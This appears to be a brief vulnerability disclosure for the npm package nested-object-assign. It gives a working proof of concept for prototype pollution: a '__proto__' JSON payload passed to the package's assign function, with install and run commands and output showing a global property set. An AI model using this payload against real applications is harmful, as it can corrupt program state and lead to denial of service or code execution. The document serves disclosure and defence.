nested-object-assign
is vulnerable to Prototype Pollution
.
// poc.js
const assign = require('nested-object-assign')
console.log('Before: ' + {}.polluted)
assign({}, JSON.parse('{"__proto__": {"polluted": true}}'))
console.log('After: ' + {}.polluted)
npm i nested-object-assign # install vulnerable package
node poc.js # run the PoC
Before: undefined
After: true
Prototype Pollution
leads to Information Disclosure/DoS/RCE.